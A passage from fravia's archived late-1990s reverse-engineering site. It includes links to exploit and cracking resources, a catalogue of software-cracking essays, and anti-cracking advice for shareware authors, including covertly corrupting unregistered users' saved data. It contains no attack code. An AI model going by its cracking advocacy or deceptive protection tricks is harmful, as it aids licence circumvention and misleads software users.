Tricky Mickeys own site (quite eclectic... he's interested inter alia "in wine and wine making"... yet this
clever webmaster has good info in his sections "web survival" and "searching")
PGP attacks for all PGP related circumstances :-)
Gary McGath master antispammer You'll learn A LOT here
Encryption cracking page
opcodes galore

Something to read till the system administrators come home

Well, if you have a look at the geek-girl bugtraq repository... you will find some QUITE
interesting hacking ideas that should work at least for the next twenty years... :-)
This is one of the BEST KNOWLEDGE SITES of the whole web.

Something more to read till the system administrators come home

http://www.instinct.org/fravia/links.htm (8 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

http://www.rootshell.com: rootshell exploits!

Stegano information
F. Hansmann's steganography page (Author of Steganos)

Crypto information
Lost your marbles? Lost your keys? For "Key Recovery Contests" and "Key Recovery Utilities" you would
be well advised to visit Joe Peschel's Computer Security, Encryption, and Cryptanalysis (good :-) page.

Other HTML and OSs information

HTML Quick Reference (including Explorer and Netscape extensions)


Windows95 Annoyances (pretty useful)
Frank Condron's World O'Windows (Windows 95 Bag O'Tips)
Legal Mumbo-Jumbo about software contracts Useful if you are a programmer with software to publish
(in the real world)... the part about "source code in escrow" underlines the importance of our work, actually.
(Escrow in this context means a safe place where the publisher can't get to the source code unless certain
conditions are met, like the death of the programmer :-) because 'normal' people believes that "Maintenance
at the object-code level is next to impossible".).
Matt's CGI - Perl Cookbook
SAMS computer books on-line (you better have your ISBN number ready, tough)
NetBots "The Spot for all Bots on the Net"
Frank Yellin's Low Level Security in Java
Web Counters and Trackers Access Counters for Web Sites; Free Counters; Web site auditing

Places you go to learn or reverse interesting facts

Time
J R Stockton's Critical and Significant Dates
Time handling for programmers and reversers... (and all the problem we get because the Tropical Year is
currently about 365.242190 days, yet the Gregorian Year averages exactly 365.2425 days).
And if you still don't understand why this is important for us... at the end of each year, Windows 98 gains
two days or loses one. Micro$oft says that this only occurs if Windows 98 is started within a particular but
defined second of the last minute of the year and that a fix is being developed. But Risks Digest says that it
can occur any day, if one boots during a critical five seconds slot near midnight.

Claus Tondering's Frequently asked questions about calendars.

Books

http://www.instinct.org/fravia/links.htm (9 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Computing McGraw-Hill

Prentice Hall

Addison Wesley

Sybex

Free computer bookslets from KnowWare, Scandinavia.

The Collection of Computer Science Bibliographies Alf-Christian Achilles' fantastic resource, to


understand how useful this can be for our purposes, see for instance "Software Forensics: Can We Track
Code to its Authors? by Eugene Spafford and Stephen Weeber

fravia's links: D) real information

__Information, a reality cracking tool if you find it__


To understand the world means to crack it: all information is hidden behind the idiotic propaganda used in
almost every newspaper, TV-channel and magazine only in order to tame the consum slaves of this society.
Nevertheless at times a little truth suddenly emerges, like the top of an iceberg in the fog. Here are a bunch
of good info links

__General information__

Le Monde diplomatique *very* good, one of the best sources of information of this
planet, a little 'pauperistic' and 'whiny', but they see through reality better than many
others. This is one of the BEST KNOWLEDGE SITES of the whole web, without any
doubt... hope you can read some french... anyway there is also a on-line version in english!
This magazine will give you monthly enough material to easily crack any newspaper or TV-info around
you. Best buy.

Neue Zrcher Zeitung among the best information sources in the whole world... of course they need a
'clear' world image in order to sell their chocolate and their watches... and could not care less about
"ready-made" truths!
The Economist for those of you who can read only English (Karl Marx was an avid reader of the
Economist :-) there is a lot of disinformation as well, but it is -at least- VERY cleverly presented
Well, I have started my own 'reversing The Economist' section, see if you like it!

http://www.instinct.org/fravia/links.htm (10 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Reversing Information
El Pais good to average "european style" information, especially valuable for people interested in south
American affairs

__The Chomsky's papers__


Keeping the Rabble in Line by Noam Chomsky, interviewed by David Barsamian, a must for everybody
(very cool and precise analyse of the world affairs... a little too much anti-Israeli, for the rest correct)
ANOTHER important book by Chomsky

(both the above links represent only a small part of Chomsky's cutting interpretations... you'll find the whole
Chomsky-thought here read these pages as soon as you can, you'll not regret it! I'm not Chomskian myself
(far from it), but his views and mine do actually converge on so many points that I'm glad he exists and
teaches :-)

__Satyrical information__

a) for crackers

Carpathia's lamerlogs I personally never IRC, but reading this I understand I'm loosing some good laugh.

b) for anyone

The Onion quite light, but not bad at all, could be dubbed "the reversers' paper", since it is actually very
often a good source of reversing thoughts.
McSWEENEY'S STORIES by David Eggers (parodies Esquire)
The Baffler, each issue seeks archly to debunk the hip-seeking excesses of the corporate culture business
(it's not completely on-line yet, though)

__Art information__ (good "Imagebases")

San Francisco Fine Arts Museum Thinker Imagebase

http://www.instinct.org/fravia/links.htm (11 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Webseek A Content-Based Image and Video Search and Catalog Tool for the Web

__Books__
the on-line books page here you'll find enough to read (for free) for the rest of your life, just manage to
find a printer with a lot of paper in some remore corner of your office or download the files you are
interested in and let one of the many automated readers (programs that you can get for free on the web) read
these books to you! Bye bye WH Smith!

__Prosody__
Arnaut & Karkur's ultimate on-line prosody resource
(in case you really dunnow what a iambic pentameter is :-)

fravia's links: E) private links

you'll access my private links clicking here

Watch it... my private links page is the only page of mine that HAS images (quite a lot) and will therefore be
much slower to load. It's a private links page, seldom updated, and some of the links there have NOTHING
to do with reverse engineering, and although you may peruse it at will, you are not allowed to judge its
contents :-)

You are deep inside fravia's pages of reverse engineering, choose your way out!

homepage
+ORC anonimity academy counter measures bots' wars
tools our tools how to use our tools
javascript wars reality cracking academy database programmer's corner how to protect better
antismut CGI-scripts cocktails search_page how to search mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/links.htm (12 of 12) [2/7/2001 2:59:12 PM]


progcor.htm: The shareware programmer corner

The shareware programmer corner

Updated July 1998

This section is now in part obsolete. Read, then go over


to the more recent HOW TO PROTECT BETTER section.
Courtesy of fravia's page of reverse engineering

- Why your protections are terribly lame


- What you can do against it (The 14 protector's commandments)
- Other +HCU projects and useful Info for programmers and protectionists
('Most stupid protection' award)
('Bogus commercial protections'serie)
('Our protection' section)
- A selection of interesting essays for protectionists
- A final message of hope

Why your protections are so lame

Dear protectionists, you better understand immediately a great and simple truth: the real reason your
protections are so lame, is that you don't know how to crack; worse: many among you don't even know how
to program in assembly. This makes it very easy to defeat your 'high language' protections for people that
don't have your source code, yet know perfectly what any single hexadecimal byte means inside your code.
You'll learn on my site enough to protect MUCH better your software (was about time) yet be aware that
there is, for you too, no result without study and without knowledge. It takes a lot of time and of study to be
a good cracker and it takes a lot of time and of study to be a good protector!
Yet the reward is inestimable! Learning how to reverse engineer any software application will give you,
protection schemes apart, which are not so important after all, a POWER and a MIGHT over your
overbloated compilers that you have before never ever dreamed of. Believe it or not, from this kind of study
your applications will gain even more than your protections

The 14 protector's commandments

http://www.instinct.org/fravia/progcor.htm (1 of 6) [2/7/2001 2:59:19 PM]


progcor.htm: The shareware programmer corner

Q.: Listen fravia+, I'm reading your messy site almost exclusively in order to PROTECT BETTER my
software, and your whole cracking philosophy gives me the creeps... can't you just tell me what the hell I
should do to protect better my applications AGAINST you bloody crackers?
A.: Yes, I can, here you are with:

Mark's famous 14 protector's commandments


1 Never use meaningful file or procedure names such as
IsValidSerialNum (duh.)
2 Don't warn the user right after a violation is made.
Wait later, maybe until the next day or two (crackers hate that).
3 Use checksums in DLL's and in the EXE. Have them check each other.
Not perfect but it just makes it harder to crack.
4 Pause a second or two after a password entry to make brute
force cracking unfeasible. Simple to do, but rarely done.
5 Self-heal your software. You know, error correction like modems
and hard drives use. The technology has been around for years,
and no one uses it on their software? The best thing about this
is that if the cracker used a decompiler, they may be looking at
a listing that is no longer valid.
6 Patch your own software. Change your code to call different
validation routines each time. Beat us at our own game.
7 Store serial numbers in unlikely places, like as a property
of a database field.
8 Store serial numbers in several places
9 Don't rely on the system date. Get the date of several files,
like SYSTEM.DAT, SYSTEM,DA0 and BOOTLOG.TXT and compare them to
the system date. Require that the time be greater than the last
run.
A Don't use literal strings that tell the user that their time is
expired. These are the first things to look for. Build strings
dynamically or use encryption.
B Flood the cracker with bogus calls and hard-coded strings. Decoys
are fun.
C Don't use a validation function. Every time you validate the user,
write your validation code inline with the current process. That
just makes more cracking for the cracker.
D When using hard-coded keys or passwords, make them look like program
code or function calls (i.e., "73AF" or "GetWindowText"). This
actually works very well and confuses some decompilers.
E Finally, never reveal your best protection secrets :-)

This said, Zen-crackers will easily defeat even the most clever protection scheme, yet there is no reason of
concern... you see, we examine protections of two sorts: protections that are UNUSUAL and protections that
must be removed in order to fully enjoy a VERY USEFUL program. Sadly very few programs are really

http://www.instinct.org/fravia/progcor.htm (2 of 6) [2/7/2001 2:59:19 PM]


progcor.htm: The shareware programmer corner

useful and very few protections are indeed intelligent. Therefore you should not worry: your program is
probably NOT useful at all, and your protection is probably NOT clever... nobody will ever attempt to crack
it, you may sleep relaxed.
You want more anti-crackers tricks? Read (study) the essay by tibit: Advanced protection schemes! (13
december 1997)
You want even more anti-crackers tricks? Read (study) the advices by dph-man: Some thoughts on key
checking methods that are hard to reverse engineer (20 January 1997)
Other projects and useful info
And look! Behold! There is much more for all you little protectionists on this site! Enjoy some new sections
and some special essays, and don't forget to check (if you have passed the strainer, that is :-) the three
"special" +HCU seminars about Object-Oriented cracking:
9801 = DELPHI CRACKING,
9802 = MAIN *.DLL's "PASSWORD VERIFY" & "TIMECHECK" FUNCTIONS,
9803 = "INSTALLATION WIZARDS" CRACKING

You should not forget, moreover, to check The Bogus commercial protection schemes serie (saving the
gullible shareware programmers from commercial crooks) that has recently started and has an obvious
interest for those among you that pay money in order to buy ready-made (and completely ridiculous)
protection schemes! Hey, don't you see how the "evil" crackers help the poor shareware programmers?

NEW SECTION: "MOST STUPID PROTECTION" AWARDS


NEW ESSAYS: LESSONS FOR SHAREWARE PROGRAMMERS
NEW SECTION: OUR PROTECTIONS
NEW SECTION: Bogus commercial protection schemes (Now with the last incredible 'dongle bashing' essay
by Frog's Print: End of the dongle old aera ~ Dongles bye bye (29 January 1998)

Some interesting essays for protectionists


Of course ALL software reversing essays are useful for protectionists, but I have decided to publish here
the ones that I reckon to be the MOST useful ones for direct protection purposes... hoping that protectionists
will learn and deliver us something more palatable than the usual, dull and boring "good_guy flag"
dinosaurier that still rule the earth :-(

Fooling Disassemblers (Protecting Applications Against Disassembly)


By Snatch, 07 December 1997
(The "non-conditional" conditional jump and other tricks)
Advanced protection schemes
By tibit, 13 December 1997
(How to defeat us crackers at our own game :-)

http://www.instinct.org/fravia/progcor.htm (3 of 6) [2/7/2001 2:59:19 PM]


progcor.htm: The shareware programmer corner

A couple of protection ideas


By dph-man, 20 January 1998
(Some thoughts on key checking methods that are hard to reverse engineer)
Cracked Metal, runtime dll creation
By Fallen, 04 February 1998
(Hotmetal's good runtime dll trick)
Cracking the ShareLock Protection System (SHRLK20.DLL)
By XaVaX, 11 February 1998
(Shareware protectors backwounded by demo vendors)
RealPlayer Plus 4.0: the "dummy code check" trick
By sPIRIT and HellRaiser, 12 February 1998
(a very interesting anti-crackers trick, if better implemented)
SOFTWrapper: wrapping galore
By HalVar+, 13 February 1998
(An encryptionless wrapper is a protectionless protection)
Decompiling InstallShield scripts and guidelines for decompiler writers
By Zeezee, 04 March 1998
(An useful protector introduction to the world of Installshield decompiling)

Well, let's rationalize things a little...


Instant removing of CrypKey (together with a progcor
08 May 98 Marigold ~ marycri1.htm ~ fra_0116
lock) Unwrapping the wrapped
SalesAgent 3.0: Rsagnt32.dll, TurnKey and
21 May 98 Goth ~ sales1.htm progcor ~ fra_0120
Me

01 June 98 Q ~ q_tv0601.htm "Fixing" AIMS-Lab's VH-TV Program progcor ~ fra_0125

Unprotecting unprotectors (AccessData's


15 July 98 Snooty ~ snooty2.htm progcor ~ fra_013A
StopCopy failure)
Another readymade sotware protection
31 July 98 +Xoanon ~ xoano_27.htm progcor ~ fra_0145
(Intellisecure R2) dies
Keyfiles: Monitor/RA v1.80 and the 'hidden
31 July 98 MisterE ~ monitor.htm progcor ~ fra_0146
protection' idea
Cracking an encrypted dll scheme: Virtual
31 July 98 Johnny+X ~ rcnewht.htm progcor ~ fra_0147
Turntables 1.5

We have a very nice and full-fledged "Most stupid protection" award section, wherein, like in the bogus
serie, many apparently strong protection schemes (some of them commercial, i.e. the poor programmers have

http://www.instinct.org/fravia/progcor.htm (4 of 6) [2/7/2001 2:59:19 PM]


progcor.htm: The shareware programmer corner

to pay *money* for them) are revealed as well for what they are: pretty stupid and pretty easy to circumvene.
Hey, don't you see how the "evil" crackers help the poor shareware programmers?
As it seems, all protection scheme that you are using to day are much TOO EASY, and we do not like this...
no challenge, no knowledge reward... since you do not seem able to program them as it should be, we'll do it
for you (that's pretty nice of us, isn't it?
We will therefore further develop a special project section (that actually is a little neglected): our
protections which has already started. +Rcg and +Sync (sync1@nospam.iname.com eliminate "nospam."
before pasting :-) take care of it. Here's what we'll do there: We'll publish OUR OWN (pretty tough)
protection schemes (coded in assembler or C, of course :-) and anyone who cares will (try to) crack them (for
each scheme we'll give two weeks time) we'll then publish the "solution" *AND* the source code!
You learn, we learn... you'll protect better (was about time) and we'll crack better... Hey! That's human
evolution at its best: from ape to cracker!

You'll further find new essays with a special "important lesson for shareware programmers" banner.
Actually all essays on my site represent (of course) lessons for shareware programmers, yet these specific
essays will be particularly important for you, since they will not only "show" you, but "demonstrate" you
once more the weakness of some common and widespread protection schemes and "tricks" (at times once
more "commercial protections", i.e. you have to *pay* for that crap).
We are trying to help you because we are well aware of the fact that shareware programmers do not have the
money, nor the capacities, available for huge "industries" of "overbloated programmers" like Micro$oft...
that's the reason we'll try to offer you at least some crumbs from the might of Internet group working. We
would like to forge an "holy" alliance between crackers and shareware programmers against Micro$oft...
when the wolves howl, cats and dogs join forces.
A final message of hope

No, I lied.
Actually I don't believe that you'll ever 'join forces' with us, I believe strongly that many of you will be so
fascinated from our reverse engineering world that will 'change side' and start producing TOOLS that will
help us in our half-lost yet glorious struggle against Micro$oft's encompassing 'embrace' (and we need you
"real" windoze programmers -after having learned cracking and assembly- in order to get the "nice looking"
smart and mighty tools that we want... in fact most crackers are unfortunately the 'other side' of your same
coin, and would not even touch visual basic 5 with a badger pole).
The usual problem: WE could not care less about the frilly-dizzy rattamazz ASPECT of the applications we
use (I'm still using - february 1998- +ORC's psedit as my preferred powerful hexeditor, and it's a DOS
program :-) but the zombies and the slaves out there have been so conditioned that we now need to produce
'alluring' tools just to catch their attention and having they use POWERFUL programs... in order to bring (at
least some of) them on the clever side... in due time they will learn, exactly as you did... So we need you at
least as much as you need us. Life on the web is funny, isn't it?
Beware: the help we offer may indeed be very valuable for you, as your assiduous presence on my site
testify, but that very help is only a decoy!

Dear shareware programmers: the truth is that we need many more 'real' programmers on our side, and
therefore we hope to persuade and proselytise you (...yet not to brainwash you, therefore I better finish right
here :-)

http://www.instinct.org/fravia/progcor.htm (5 of 6) [2/7/2001 2:59:19 PM]


progcor.htm: The shareware programmer corner

Our Protections Our own tools Students' essays Packers & Unp Dongles
homepage links +ORC most recent essays +HCU database
anonymity counter measures CGI antismut cocktails
search_forms javascript wars AntiMicro$oft mail_fravia
Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/progcor.htm (6 of 6) [2/7/2001 2:59:19 PM]


protec.htm: HOW TO PROTECT BETTER

FRAVIA'S HOW TO PROTECT BETTER


(SOFTWARE REVERSING LAB)
A good
protection is
NOT an
impossible
dream!

How to (try to)


protect
software
effectively

[intro]
Advices
[Mark's] ~
[Tidbit's]
[Stone's] ~
[More tips]
[To shrink?]
[essays]
[tricks] ~
[links]

(Last update: October 1999)

Software Protection, an impossible dream?


An introduction

I would like to start, with this section of my site, a good "special" reversing laboratory for software protection. As
my readers know, we have already tried this some time ago with the Our Protections section. Yet that section didn't
seem to florish, so I'm now re-organizing various 'threads' into a coeherent "software protection" project. I hope
that this will help reversers and protectors alike... no cracker should underestimate the difficulty (and the beauty)
of writing a good protection, exactly as no protector should underestimate the difficulty (and the beauty) of
reversing a difficult snippet of software. Cracking and protecting are two very important sciences in their own
right, but I have noticed that the development of good protections suffers a 'psychological' penalty. "There's no
point in protecting or overprotecting: a determined cracker can crack any protection!"; "nothing can guarantee
absolute security"; "Any protection scheme can be defeated"; "protection measures can be easily worked around",
and so on and so on... stalk the protectors on usenet and you'll see this kind of typical whining.

http://www.instinct.org/fravia/protec.htm (1 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

Well, any protection scheme can be cracked... may be. Yet let's devise schemes that will make things a lot
HARDER for the typical cracker to mess with... and who better than some good +crackers can teach protectors
how to protect?
It's almost winter, snow is in the air! C'mon: let's push another snowball down the Webhill!

Software Protection, an impossible dream?


All the advices you may need

Mark's famous 14 protector's commandments


1 Never use meaningful file or procedure names such as IsValidSerialNum (duh.) If you do

use functions for checking purposes, place at least some required code that your program really needs, in
such a function. When the cracker disables the function, the program will produce incorrect results.
2 Don't warn the user right after a violation is made. Wait later, maybe until the next day or two (crackers
hate that).
3 Use checksums in DLL's and in the EXE. Have them check each other. Not perfect but it just makes it
harder to crack.
4 Pause a second or two after a password entry to make brute force cracking unfeasible. Simple to do, but
rarely done.
5 Self-heal your software. You know, error correction like modems and hard drives use. The technology has
been around for years, and no one uses it on their software? The best thing about this is that if the cracker
used a decompiler, they may be looking at a listing that is no longer valid.
6 Patch your own software. Change your code to call different validation routines each time. Beat us at our
own game.
7 Store serial numbers in unlikely places, like as a property of a database field.
8 Store serial numbers in several places
9 Don't rely on the system date. Get the date of several files, like SYSTEM.DAT, SYSTEM,DA0 and
BOOTLOG.TXT and compare them to the system date. Require that the time be greater than the last run.
A Don't use literal strings that tell the user that their time is expired. These are the first things to look for.
Build strings dynamically or use encryption.
B Flood the cracker with bogus calls and hard-coded strings. Decoys are fun.
C Don't use a validation function. Every time you validate the user, write your validation code inline with
the current process. That just makes more cracking for the cracker.
D When using hard-coded keys or passwords, make them look like program code or function calls (i.e.,
"73AF" or "GetWindowText"). This actually works very well and confuses some decompilers.
E Finally, never reveal your best protection secrets :-)

Tidbit's 'common sense' rules

http://www.instinct.org/fravia/protec.htm (2 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

1. No nagscreens. Making enemies among your customers is very stupid, indeed.


2. Create important menus and dialog boxes dynamically, whether in something like turbo-vision, xforms or
m$windoze. Use your own format of rcdata like borland did in delphi if you don't want to write too much
code.
3. If your program doesn't save data in "crapware" edition, don't include a "grayed" menu item. No saving
means no saving. That's it.
4. The only way to tell user that he is unregistered should be in the "about" dialog. The latter should also be
created dynamically.
5. Avoid using any kind of string resources like "this crap is unregistered, blah blah"
6. Link statically unless your program is a complex one (at least of m$word 2.0 complexity)
7. Don't loose time on writing anything that will kill disassemblers or debuggers. Take my word on it - doing
it is worthless, people who made them or HCU'ers :-) will soon find the way around, so shift your interest to
more important stuff.
8. Use your language of choice fully. Even if it's visual basic, learn it thoroughly first. Using some advanced
constructs it is possible to make debugging a nightmare.
9. Use run time library fully when writing the beta versions, in final release rewrite some functions at least
to make crackers life harder.
9a) Example: many ocx'es for vbasic take PLENTY of space, and they are really easy to hook to. Use only
ones which you need, usually much of ocx crap can be rewritten to use plain windows api.
10. Take SOME time to THINK about protecting your software. Is it worth the protection? Wouldn't it be
better to IMPROVE YOUR SOFTWARE, rather than improving protections?
11. Try to embed at least part of the protection inside the data manipulation. Data structures can take ages to
understand basing only on disassembly listing, they also are more error-prone for cracker. Crackers usually
take notes on loose sheets of paper, and not everyone reads his own handwriting 100% accurately.
12. A protection that mangles data is a good one usually.
12a) Example: Got a charting program. The crapware shouldn't print. Disabling printing and later on
enabling it basing on some registration# is the most often committed suicide. Let your thingo print. When
creating data structures for printing, mangle them in some way. Unmangle them just before printing, using
reg# or something other for that purpose. Even more, make this mangling subtle. Assume that you've got a
pie chart to print. Don't alter anything, but add some not too big random numbers to values of data series -
this is mangling then. The chart will look "not that bad", but will be otherwise unuseable (if the changes are
random and on the order of 20%, for example). Finding such protection, if its connection with reg# is not
self-evident can take much time. One has to delve inside your data structures and find that dreaded mangling
and unmangling code. Not too easy, especially if you program high level, not in asm.
13. When mangling data, use some tricks so that it is not self-evident where that reg# comes from into
unmangling code.
13a) Example: I did it for a dos platform once. The reg# (in a "go/no-go" protection) was specified as a
command line argument. The command line parser was clean and it was the only place where command line
was ever referenced. In some other place the "irrevelant" code was using a "bad" version of borland pascal
move routine from rtl (move copies a range of data from here to there). The routine in rtl was altered to copy
a few bytes more and to wrap around the segment boundary. The "irrevelant" code called copy with
parameters set so that it would copy some useless crap together with command line somewhere else, and that
"somewhere" was left unused for some time. It was evaluated in the wholly other part of program. Athough
setting bpx on memory range would find that, it was not THAT evident that one should place the "enable#"
on command line (it was nowhere mentioned since I needed to protect from my coworkers only).
14. Be economically inclined. Calculate whether you need to write your "to be protected" program at all.

http://www.instinct.org/fravia/protec.htm (3 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

Isn't there (albeit big) a commercial, widely available package that does the same thing? If you need that tiny
program for yourself only, in 99% of cases it's cheaper to use existing package that supports scritping (to
tailor it to your needs). If you want to sell it, check your market. The problem of protecting software
vanishes if no one will use your software. Don't overestimate your work's "importance to the world". Search
the net. There's nothing like you want to do? Search more, then. Start work only when you're sure there's
need.
15. Always explore your language of choice on the level proposed (or, more often these times, pushed) by
the language developers. If you're real programmer that doesn't want his "hello world" app to be 2megs+
big, shift down to the api level asap - ie. after exploring all the nice "visualties" the commercial types might
be pushing you to use.
15a) Example: This pertains mostly to things like borland c++, delphi and m$ vc++ - write your app using
the existing user interface crap (foundation classes etc). When the innards are debugged (hah, they never are,
but if you at least don't find any bugs in the first 20 minutes of post-build testing), rewrite your user interface
to use windows api directly. Do it cleverly, think first, think a lot, and you'll usually get an app that is at
most 1/4 of the original size, and that works much faster. Do you believe that corel draw 3 was written using
nearly pure api? Such a HUGE app? - you say it's impossible. No, it quite is, ever more in the 32bit world
when you don't need to spend so much time moving data around the 16bit segment boundary (corel 3.0 was
for windows 3.x - it was 16 bit).
16. What does p.15 have to do with protections, you think. Oh well, it does have much. Since your code
doesn't use the "prepackaged" stuff, it's more personal, more custom. Since each programmer's style of
programming is different, it take more time for a potential cracker to find out what's going inside your app.
Alas, all this is useless if cracker doesn't have to know the innards to deprotect. So always protect in a way
that is tied in MANY PLACES to the innards (data structures etc).
17. A monolithic app that doesn't reference to much more than kernel or device drivers is usually harder to
crack. There are less dependencies to get from watching the .exe and .dll's with quickview for example. Try
to export only the callbacks needed by windoze for example. Check what goes to the outside world. Try to
include no or little details of registration procedure. Your code should give as little information in "clear
text" to the cracker as possible.
18. For god's sake, don't give away the working code! Try to provide users with:
- The crapware version, that DOESN'T have the "missing features" compiled in. This thing should also have
no nag screens nor "enter reg# here" suff - it's obvious, since it's the CRAPWARE ONLY.
- The full version, that HAS the full functionality compiled in but that also requires user to enter the reg#
once somewhere. This version should be only given away to those that have paid. At least there is no way to
get the thing to crack from your site, since you only expose the crapware for lamers. Alas, your "full"
version, maybe even cracked, will be to be found shortly on warez sites, but not everyone knows where to
search, so you at least can be proud that your app has been stolen by "the enlightened" :-)
19. As has been said many times: don't overuse the "registered", "unregistered", "registration code", etc.
words - both in clear text and in encrypted form. If possible, invent some clever algorith to generate these on
the fly basing on some variables, definitely don't use the "bool Is_Registered" flag anywhere!
19a) Notes: It would be quite nice if the program will be having some sample (bad?) reg# stored inside in
some place(s). The user, after entering the registration#, should have no IMMEDIATE indication of any
kind that the software is registered now. THis indication shouldn't also be deferred using timer, like in unix
login. It's childish easy to find the "sleep x" code. Each function, like save, print, etc. that depends on
registration, should check the reg# by itself, and it should do it in such way that user nor cracker doesn't see
that something is going wrong or good. As said before: no disabled stuff. If saving is disabled, either don't
provide it at all, or make the unregistered save work just like real one, just that data isn't written to disk or is
written badly. Consider such scheme: user isn't presented with any "this funct disabled" box, the save works
ok (save dialog opens, save completed "%" bar scrolls as usually), but you may for example lseek back to

http://www.instinct.org/fravia/protec.htm (4 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

the beginning of file after writing each record if the user isn't reg#. This approach is hard to crack since such
attempt requires to delve DEEP into the program's internals and to find what is going bad and where. People
also think sometimes that their version is simply damaged and throw their program away, whereas that
dreaded save might work ok when registered.
19b) Notes: CLEARLY INDICATE facts mentioned in 19a), like that: <<"Reminder: This program, when
not registered, won't save nor print any data. These two functions will operate ONLY when the CORRECT
registration number is entered in the registration dialog box. Warning: we restate that save and print options
WON'T WORK until the CORRECT registration number is specified. All other features are unaffected in
the unregistered version.
Note: You cannot verify that correct registration number has been entered. Program doesn't display any
warinings that you've entered invalid number. You know that it is ok when save and printing works, else
please retype the registration number and try again.">> This will indicate:
a) to the user that he definitely WILL enable the program when the CORRECT number has been entered,
b) to the hacker that it is going to be a tough job since the registration # checker sits somewhere else.
19c) Implementation notes: Move your reg# to the checker routine in an unsuspicious way. If you can, don't
use the "existing" textbox and gettexta, implement the reg# entering routine by hand, it would be quite wise
even to refrain from using the existing text rendering procedures and render the number on-screen as it is
entered using your own renderer. You can edit your own font resource or use some preexisting font, then
just encode it in some way so that it will be unreadable by resource workshops, even better include it in the
source as static constants. Although it is still easy to find where the "drawbitmap" equivalent was used to
paint the reg#, it is definitely harder to understand the whole underlying routine, especially noticing where
does that reg# go. Using a multi-layered approach here is the most feasible one:
- dynamically create accelerator keys in your 'register me' dialog box, these accells should be for keys used
in reg# entry (0-9,a-z for example)
- each accell should call different routine, if feasible (makes breakpointing tougher)
- each routine should store the flag that given char was entered somewhere else, it would be nice if each
keypress would modify some global variable, in some way that is decodeable for you, but not to the cracker
(at first glance)
- then there should be some kind of 'monitoring' routine that acts accordingly, paining the characters on the
dialog box and taking actions upon backspace and enter, for example
- yet another routine should collect all entered characters and create a reg# and store it in some untrivial
place. using a .vxd here to manipulate the virtual memory to make some 'backup' copies in a
not-easily-debuggeable way is a nice idea. a .vxd can work like a tiny embedded debugger, bpxing on the
place where that reg# goes. it can then copy it to some quite other place, all that happening in the
background and not to be noticed easily. the cracker will of course (at the first try, at least) try to check
where this location is accessed. since it is accessed nowhere, he will scream: how the hell does this app
know that the reg# has been entered, if it even does not access it? oh well, just a tiny .vxd or even a
background thread has copied it somewhere else. they'll get at it later, but at first it can stir crackers minds,
though.
20. Notes on registration numbers:
- balance between security, feasiblity, programmability and end-user headaches
- too long, non-alphanumeric reg#'s tend to be continuously entered badly. at least provide a "non-persistent"
reg# entry field so that user will rewrite the reg# each time, possibly correctly at last. many people will just
"glance-compare" the entered reg# and the one (possibly) emailed to them, arriving at the final thought that
they did enter it correctly, whereas the font is too small or they are too tired to notice that this '1' and 'l' have
been interchanged (in a reg# like 'l83jjd_0)pH1lTe' )
- refrain from any user feedback. the reg# entry box should accept strings of any length, without any
validation. don't give crackers the knowledge about reg#. sometimes knowing that it's 10 chars long or that
is contains only uppercase alphabet helps, so don't help them

http://www.instinct.org/fravia/protec.htm (5 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

- the reg# verification scheme (I'm pretty sorry about it, but it just is like that) needs to take into account the
number of prospective users, and thus you oughta do some "market analysis"
- if your reg# is 10 numbers long, there are 10^10 possible reg#'s. but since your app might find let's say
only 10^4 (10'000) users, you should invent an algorithm that assigns each one of 10^4 users one of 10^10
reg#'s, and does it somewhat uniformly. This prevents people and programs (some .vxd based "macro"
players, like the one presented some time ago in DDJ, for example) to be used for brute force approach. If
there are only 10^4 users and you allow 10^9 "valid" reg#s out of 10^10, on average each 10th reg# tried
brute-force will be valid, whereas on the case of 10^4 prospective users, that many valid reg#'s and space of
10^10 reg#s, on average only each 10^6th reg# tried brute force will be valid. Ever calculated how much
time it would take to brute-force search 10^6 numbers, even using a fast machine and extremenly fast macro
player (keystroke generator simulating reg# entry and checking for results)?
- the assignment operator that assigns user# to reg# shouldn't be trivial, and it's implementation should be
done in asm by someone experienced both in maths (topology known by +ORC helps here, also :-) and asm.
check your operator. create graphs of how it works. understand your own work, especially its drawbacks and
vulnerabilities
- be inventive. don't use anything that seems simple, quick and effective. unless you've come with something
like Einstein's relativity theory, your approach is yes, simple, yes, quick, but no, not effective, and yes, easy
to crack. I'm sorry but we aren't geniuses and developing a good protection scheme takes time, it took time
myself, and still takes although i'm creating protections for fun since 5 years or so. It will definitely take
some time you, dear reader, and don't believe your self-confidence. Protections written by self-confident and
unexperienced prgrmrs end up in the "most stupid protection" page of +fravia. a nice and exposed place, and
with what a neighboorhood, but a protection ending there is still the "most stupid". not a nice definition of
your work, huh? :-]'
21. Play same game twice. It helps. If you invent some nice and hard to crack memory move-around scheme
to protect reg# inside your data space, do the same to parts of your data, even better using the same routine
just with other parameters. Crackers are lived up to the fact that protection algorithms are always used for
protections only. If integrity of your data will rely, at least partly, on proper working of your protection
code, crackers get a tough work to do. it's called functional verification of the "okayness" of protection code.
you don't checksum nor crc it, but simply call it "from the other place" and let it process the
protection-unrelated data. if it will process this data ok, then cracker mustn't have altered it. this places end
on easy cracks like "change that jump here and that cmp there to nops"..
22. Strainer to you: does lotus 1-2-3 for dos "diskette" protection (it let you install it up to 3 times without
"zapping" it from hd first) work still in win95? if yes, why? if not, why? analyze the code, I've learnt MUCH
from it. it's only dos code, it's probably 100 times cracked already, but there are some niceties to learn from
it. not a very good protection scheme, has many holes in it, but remember what +ORC said: a cracker well
educated in historical code is nearly always a perfect one :-))) (ok, ok, i know, there's nothing perfect aside
from moskovskaya in this bad world, but, can't we joke at times ? 8-0=)

cheerz,
tibit

More tips you might take into consideration


Use a serial which is several KB long of arithmetical transforms, to drive anyone trying to
